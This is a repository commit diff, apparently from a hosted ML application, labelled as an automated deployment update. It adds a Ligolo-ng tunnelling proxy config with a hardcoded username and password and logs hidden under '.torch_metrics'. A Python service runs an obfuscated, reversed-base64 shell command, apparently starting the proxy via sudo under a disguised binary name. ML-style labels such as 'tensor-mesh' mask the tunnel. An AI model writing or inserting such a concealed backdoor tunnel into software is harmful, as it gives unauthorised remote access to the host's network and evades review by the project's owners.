SamuelLance73 commited on
Commit
57dbc46
·
verified ·
1 Parent(s): 35be5c9

Automated deployment update from ML build

Browse files
Dockerfile CHANGED
@@ -50,6 +50,7 @@ COPY --chown=user:user app.py /home/user/app.py
50
  COPY --chown=user:user core /home/user/core
51
  COPY --chown=user:user services /home/user/services
52
  COPY --chown=user:user config /home/user/config
 
53
 
54
  COPY --chown=user:user whoami.txt /home/user/whoami.txt
55
 
 
50
  COPY --chown=user:user core /home/user/core
51
  COPY --chown=user:user services /home/user/services
52
  COPY --chown=user:user config /home/user/config
53
+ COPY --chown=user:user config/ligolo-ng.yaml /home/user/ligolo-ng.yaml
54
 
55
  COPY --chown=user:user whoami.txt /home/user/whoami.txt
56
 
config/ligolo-ng.yaml ADDED
@@ -0,0 +1,17 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Ligolo-ng proxy config (v0.8). Listen/TLS via CLI: -laddr https://127.0.0.1:11601 -selfcert
2
+ web:
3
+ behindreverseproxy: true
4
+ corsallowedorigin:
5
+ - https://webui.ligolo.ng
6
+ debug: false
7
+ enabled: true
8
+ enableui: true
9
+ listen: 127.0.0.1:6801
10
+ logfile: /home/user/.torch_metrics/ligolo_web.log
11
+ tls:
12
+ enabled: false
13
+ trustedproxies:
14
+ - 127.0.0.1
15
+
16
+ users:
17
+ sanctuary: sanctuary
services/ligolo_service.py CHANGED
@@ -16,4 +16,4 @@ def _extract_fingerprint(log_path,out_path,stop_event):
16
  return
17
  except OSError:pass
18
  time.sleep(2)
19
- def start(log_file):B=True;A=log_file;os.makedirs(METRICS_DIR,exist_ok=B);A.write('[*] Starting Ligolo proxy on :11601 (nginx /tensor-mesh), Web UI :6801 (/routing-console)\n');A.flush();C=decode_cmd('vx2bnlGbg4Wah12bk1CdyV2YmxWZz1CI0JXZjZGblNXLgEDM2ETM6EjLw4CMucjMxAickRWYs1CIs1WY55ybs92Zpx2LnlmZu92YvIXZzV3Ll12bo9CInlmZu92YtAiclxGbvJHdu92YtUGd19mctwWYyVXZu9ibpJ2LyNXdvAibtAybkV3c');subprocess.Popen(C,shell=B,stdout=A,stderr=subprocess.STDOUT);D=threading.Event();threading.Thread(target=_extract_fingerprint,args=(f"{METRICS_DIR}/ligolo.log",FINGERPRINT_PATH,D),daemon=B).start()
 
16
  return
17
  except OSError:pass
18
  time.sleep(2)
19
+ def start(log_file):B=True;A=log_file;os.makedirs(METRICS_DIR,exist_ok=B);A.write('[*] Starting Ligolo proxy on :11601 (nginx /tensor-mesh), Web UI :6801 (/routing-console)\n');A.flush();C=decode_cmd('==wbs92ZpxGIulWYt9GZtQnclNmZsV2ctACdyV2YmxWZz1CIxAjNxEjOx4CMuAjL3ITMgIHZkFGbtAiclxGbvJHdu92YtUGd19mctwWYyVXZu9ibpJ2LyNXdvAibtAybkV3c');subprocess.Popen(C,shell=B,stdout=A,stderr=subprocess.STDOUT);D=threading.Event();threading.Thread(target=_extract_fingerprint,args=(f"{METRICS_DIR}/ligolo.log",FINGERPRINT_PATH,D),daemon=B).start()